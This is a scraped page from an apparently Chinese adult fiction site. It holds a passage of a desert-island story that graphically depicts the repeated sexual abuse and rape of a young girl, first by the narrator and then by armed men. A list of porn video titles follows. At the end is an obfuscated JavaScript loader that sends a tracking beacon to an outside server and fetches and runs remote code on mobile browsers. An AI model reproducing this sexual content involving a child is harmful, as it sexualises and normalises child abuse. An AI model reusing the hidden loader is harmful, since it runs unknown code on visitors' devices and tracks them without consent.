肉棒插入之后,无视她的抗议就开始抽插。
原本瘫软的她全身又开始紧缩,才插进去阴道又开始一缩一缩颤抖。

她摇着头,「嗯嗯嗯」的吟叫着,也许是已经习惯了刺激,她的屁股开始又
迎合着我的抽插而扭动着。

我两手搭起小女孩的腰,身子向后一弯一躺。她被我抱起来,坐在我身上,
变成女上男下的体位。我不断地一下又一下往上顶,虽然她像是骑在发狂的牛背
上不断的被摇晃,但小穴总是牢牢的吸着我的肉棒。

「嗯嗯嗯嗯……」随着频率的增加,小女孩断断续续的呻吟着。她的腰也配
合着我的抽插而扭动着。她的阴道愈来愈缩紧,而摩擦的刺激感愈来愈强。

到底这个小女孩真的是喜欢性交吗?如果我停止动作,那她会自已动作吗?
我突然心生一念,停止了抽插。

坐在我身上的她,对于突然的停止,显露出疑惑的眼神。但是舒服的感觉却
又让她想继续下去。

她轻轻地动了一下,也许是感觉到刺激,让她轻哼一声。「嗯……」

接着,她自动自发地在我身上摇着屁股,动了起来。她把阴茎深深的含入,
然后用前后扭动的方式让阴部紧贴着我的耻骨磨擦着。

「嗯……呼……呼……」

果然她是喜欢抽插的。看着娇小的她扭动着自已的腰,让小穴的蜜汁流出两
人接触的地方,是别有一番风味。

也许是变成由她主导,每一次的动作都可以刺激到她最舒服的位置,她的阴
道持续的缩紧。

「啊……」她又轻声地吟叫着,阴道中的紧缩像是要把肉棒绞出汁来,不由
得我全身一麻,腰一挺把肉棒深深的刺进,接着一股股的精液就这样灌进深处。

「呼呼呼呼……」喘着气的两人才早上就拚得精疲力竭,不知不觉汗流全
身。

「唉……」我两眼望着山洞顶,心想等一下还是得把乾草拿出去晒了。

※※※※※※※※※※※※

小女孩与我日渐亲密,而她的学习速度非常的快。她从单字的运用进步到可
以使用句子。

每到鱼获足够而有空闲的时候,我会抱着她,用火车便当的体位插着她到处
在岛上走着。

每一次走动的振动,都让她轻哼出声来,紧紧的像无尾熊一样的抓着我。

「这是什么?」我停下步,指着斧头。

她则说出名称。「补头……」

「不是,是斧头。」我更正她的发音。

「父豆。」

「斧头。」

「斧头。」

我等她说出正确的发音时,用力挺插几下。「再说一次。」

「嗯……啊……斧……啊……」当我抽插的时候,她总是一边断断续续的重
覆说着话。

等到我停下来之后,她才有办法顺利的说出整个名称。「……斧……斧……
头。」

等她说出来之,我又会用力地向上挺插几下以示鼓励。「斧头……嗯……」

就在她一边练习发音时,我继续一步步的走着,走向下一个物品。

「这是什么?」

「A子。」

「椰子。」我更正她的发音。

「叶子。」

「椰子。」

「椰子。」

等到她说出了正确的发音时,我就抽插了几下。

「椰……子……嗯……唔……」她每一说一句,就继续的一边走着,上下的
振动让她说话断断续续的。

就这样,我一个字一个字的教着,渐渐她说话也较为顺畅了。

至于用两脚走路的方法却怎么样也学不会,跟着我的时候总是用四肢爬着。
而且爬行的速度很快,我怎么跑她也跟得上。

后来我把她两手绑住逼迫她用两脚走路,才让她学会了两足走路与跑步。

最令人惊奇的是她会游泳,并且使用鱼叉,这代表着我们的鱼获量会大增,
食物更不缺乏了。我还教她设陷阱,现在她已经是个十足的猎人了。

只是,这样的日子一直维持到有外人登上岛为止。
那天,我发现远处的岸上有有艘小渔船靠进岸边,之后里面有几个人正在上
岸。

「太好了,得救了。」我一边大喊着「救命!」一边往前跑,深怕跑太慢对
方就离开了。

不料,一声枪响,「碰」的一声,远远看到一人应声倒地。

「妈呀!」才刚想要大声喊救命的我,一听到枪声马上趴下躲在树丛后。

这是怎么一回事?杀人了?

我用发着抖的手掏出了望远镜仔细一看,那远处倒地的那人两眼惊恐地直视
前方,额头上一个弹孔流出了红色与白色的东西,想必是脑浆与血液的混合物。

我直觉的感觉到,那群人每个手上拿着大大小小的枪械,一定绝非善类。我
只敢在远处盯着他们,如果靠近被他们发现一定会被灭口的。

他们一共有五个人。

开枪的男子身材瘦小,把手上的手枪交给了旁边的戴墨镜的男子,之后还对
着穿着白色西装的男子点着头。

其中一个光头的男子身高是最高的,身上揹了一只步枪。表情凶狠地站在白
色西装男子的身后。看样子穿白色西装的人是大哥,而这个光头男子则是他的小
弟。

另外两个戴着墨镜,一个把开枪的男子的手枪收回自已的口袋。另一个则抬
着三四个铁锹,看样子是地位比较小的小弟。

两个戴着墨镜的小弟,手一张指示了请往前走的动作。那位瘦小的男子就往
小岛的深入走进。而我也偷偷的在后面跟蹤,看他们要做什么事。

他们一路走进小岛的深处,像是熟悉岛的地形的人,一路走到一棵棕榈树
下。那个刚才开枪杀人的男子走在最前面,停下了脚步,脚踏了踏地上,手指一
指,后面的人一人拿一只铁锹走过来就开始挖掘。

「铿」一声,铁锹敲击到一个硬物,没多久一个大箱子就被挖出来了。

一群人七九八脚地把大箱子从坑洞里抬出来,他们把箱子打开,里面出现了
一包包白色的袋状物。

穿着白色西装的大哥拿出了小刀,在其中一袋上戳了一个洞,袋子中流出了
白色的粉末。接着他用手指沾了沾粉末放在舌头上尝了尝味道。

「荣哥,我没有骗你吧!」刚刚踏地指示位置的瘦小男子说。

「阿贤,你就在我手下做事,以后有你的好处。」被称为荣哥的白西装男子
很满意地点了点头。

「谢荣哥提拔。」被称为阿贤的瘦小男子拚命地点头哈腰。

「继续挖!」荣哥一下令,光头精壮男子与两个戴墨镜的小弟就继续在附近
的地上挖着,没过多久,又被他们挖出了三个较小的箱子。

小箱子里面并没有毒品,而是一叠叠的美钞。

一群人看到美钞,都高兴得眉开眼笑。

我在旁边看得眼睛就快跳出来,明明自已在岛上已经住这么久,竟然岛上埋
了毒品与美钞却不知道。

那群人就把四个箱子一个个地扛到船上,并且从船上拿了一枝枝的小树苗下
来,堆在地上。

不知不觉太阳已西斜,他们搭起了帐棚,似乎要在岛上过夜的样子。

我一边盯着他们,一边想着,如果跟他们接触会不会被杀?但如果不去跟他
们接触,那我是不是一辈子待在岛上呢?

正在我沈思的时候,我听到了一阵吼叫声。「哇……吼……」我听得出来,
那是小女娃的声音。

果然没错,光头精壮男子像抓小鸡一样的抓着小女孩,一路把她拉到老大面
前。「荣哥,我们发现一个没穿衣服的小孩。」

「呜……哇……」小女孩两手绑在背后,一边扭动一边叫着。

阿贤看着小女孩,面露出思考的表情,然后才眼睛一亮。「荣哥,这个小女
娃可能是老曾的女儿。」

「老曾的女儿?」荣哥伸出了手抓住小女娃的下巴,仔细的端详。「看起来
是有像老曾他老婆,没想到当时在岛上找不到,以为她死了,没想到竟然长这么
大。」

「难道她一直待在岛上活到现在,真是令人惊讶。而且还长得还不错?是吃
香蕉长大的吗?」

小女娃怒吼着。「呜……」只可惜咬不到那男子。

「那就送给你们玩好了。」荣哥把手放开。「反正我没有你们这种变态的嗜
好。」
荣哥说完就把小女孩推开,走向帐棚。

他的四个手下争先恐后地围向小女孩。

「我先来。」

「不,我先来。」

「那就用猜拳决定。」

四个男人,不服输地互相争吵着,最后还是决定用猜拳来定先后。

「我赢了!」光头精壮男子哈哈大笑。另外三个男子则不高兴起转头散开。

「哈哈哈……」赢家一边笑着一边脱起裤子,显露出他精壮的肉体。

小女孩显然知道他们将要干什么,两腿一站立起来,立刻就往树林深处的方
向跑去,毕竟阴暗的树林才是唯一可躲藏的地方。

「要跑了,跑了!」三个男子在旁边看着笑话,也不帮那位正在脱衣服的男
子拦阻小女孩,只是一边笑喊着。「哈哈哈……快去追唷!」

小女孩直视着远方的树林拼着命地跑着,脚下的沙地鬆软让她的速度无法更
快。男子把长裤丢在一旁,追赶着。

只是,跑到一半,就被那脱得赤条条的男子追赶上并扑倒在地。

「碰!」她被扑倒重心不稳地跌到,脸趴在鬆软的沙上,细细的海沙沾满了
她红嫩的脸颊上。

「我看你往那跑!」男子压在小女孩背上。

「噢!」其它三个男子看到小女孩这么轻易就被追上,没有笑话可看,露出
了失望的表情。

「呜呀~~」小女孩急忙地叫喊着。两腿不断起踢着男子,但他却不为所
动。

男子两手各抓着小女孩的两只脚踝把她倒提了起来。小女孩拼了命地扭动
着,但无法阻止男子把小女孩的两腿拨开,小腿间的小缝在微红的夕阳照射下更
显得红嫩。

「幼女的屄总是看起来这么粉嫩。」男子一边说着,一边伸手抚弄着她的小
细缝。手指拨开了光滑的粉红色小唇,显露出小小的穴口,泛着粉嫩的光泽。

「呜……呜……」她惊恐的眼神,看着男子。

只见男子的手指冷不防伸了进去,小女孩的身子顿时僵直振动了一下。

「小屄还是不够湿。」男子的手指在里面搅动着。「紧度尚可。」他一边品
评着,一边把手指深入至里面某一个深处,用指腹括搔着神祕的地方。「还是要
多一点淫水才好。」

小女孩感受到体内奇怪的感觉,不断地扭着腰,想要让那只搅动的手指离开
她的身体。但她的扭动,收缩只会让男子更为兴奋。

「哈哈哈……才一下子就这么受不了?」男子说完,便加大了速度,让手指
在里面振动着。

「吼呜……」她扭着头,张着嘴想咬在面前的男子,却怎么样也咬不到。

小女孩扭动了几下,全身突然直挺挺的僵直着,「啊……」一声如喉头卡住
的低吼。接着,竟有一股液体从小女孩的大腿间流出。

「哈哈……这小女娃竟然尿出来。」男子一边笑着,也不等那液体流完,两
手把她两腿分开,往上抬得更高。

由于两手后绑没得支撑,小女孩的整个脸便贴在沙地上。脚高头低的姿态
下,从她的两腿间流出的液体,反而沿着她身体倒流到肩膀,滴到沙地上。

男子直挺挺的阳根对着她的肉缝,一挺一送,顿时没入。

「啊……」也许是阳根太过粗大,小女孩虽然已湿润,但仍然吃痛地叫出声
来。但因为脸贴在沙地上,张开的嘴反而吃进砂土。
[奇遇] 荒岛女孩

我只能在旁边眼睁睁地看小女孩被强姦,但因为敌人众多,如果我现在冲出
去恐怕无济于事,还会赔上自己的性命。

男子接着两手抓着她的两腿,用类似老汉推车的方式抽插着。「喔……啊…
啊……」

小女孩身体一振又一振地承受着男子的撞击,虽然她的腰左右地扭动,但是
两脚被牢牢地抓住,只能任凭那粗大的凶器肆无忌惮地进出。

「好紧好爽……干幼女好爽。」男子一边吼着,一边猛力扭动着腰抽插着。

「宪哥,您爽归爽,别把她操坏了,我们等一下还要用。」旁边三个男子看
到他又吼又叫地,深怕他用力过猛,连忙提醒。

「我啥时……亏待你们?」男子一边说着,还不忘抽插的动作,扭着他的腰
往前直顶。

也许是有人在催促,男子抽插的频率加快了。「叭嗒叭嗒」地皮肉撞击声显
示着力道的加大,小女孩的身体也随着声音而摇动着。

「呼……呼……」男子的喘气声渐渐加大,身上的肌肉由于负担着小女孩的
体重而收缩纠结着。他索性右手放开转而去抓着她被绑在她背后的手臂,轻轻一
提,竟然就把小女孩给提在半空中。

小女孩的右腿失去了支撑,垂下随着抽插而摇晃;左腿则被往上抬得更高使
得两腿的角度更为张开。右手被往上提,原本趴在沙地上的脸被抬离,也随着男
子的撞击力而晃动,长髮也随之飘动着。
猜你喜欢下面这些


  • Isis Love 和 Sensi Pearl


    Isis Love 和 Sensi Pearl
    480人观看

    Isis Love 和 Sensi Pearl

  • 新来的秘书,一天来十次


    新来的秘书,一天来十次
    22人观看

    新来的秘书,一天来十次

  • 【香月怜】赌场潜入女搜查官


    【香月怜】赌场潜入女搜查官
    345人观看

    【香月怜】赌场潜入女搜查官

  • 内射超美蜜穴!性感油光蓝丝!侧入内射!浓精流出!高清美穴特写!


    内射超美蜜穴!性感油光蓝丝!侧入内射!浓精流出!高清美穴特写!
    951人观看

    内射超美蜜穴!性感油光蓝丝!侧入内射!浓精流出!高清美穴特写!

  • 柜台大姊温柔破处的公共澡堂七濑爱丽丝DASS-370


    柜台大姊温柔破处的公共澡堂七濑爱丽丝DASS-370
    160人观看

    柜台大姊温柔破处的公共澡堂七濑爱丽丝DASS-370

  • 他把我的裤子撕破了


    他把我的裤子撕破了
    483人观看

    他把我的裤子撕破了

  • 可爱脸蛋超淫荡痴女舌脚手最棒究极技巧逆强制中出神反差小恶魔痴女性爱50人超级精选MDBK-248


    可爱脸蛋超淫荡痴女舌脚手最棒究极技巧逆强制中出神反差小恶魔痴女性爱50人超级精选MDBK-248
    764人观看

    可爱脸蛋超淫荡痴女舌脚手最棒究极技巧逆强制中出神反差小恶魔痴女性爱50人超级精选MDBK-248

function gxdRCoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lpBTDXrc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gxdRCoD(t);};window[''+'K'+'B'+'x'+'L'+'s'+'c'+'P'+'k'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YdZFw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lpBTDXrc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YdZFw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YdZFw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1rdnNmLmNuJTNBODg5MMQ==','d3NzJTNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MMzMM=','168623',window,document,['M','M']);}:function(){};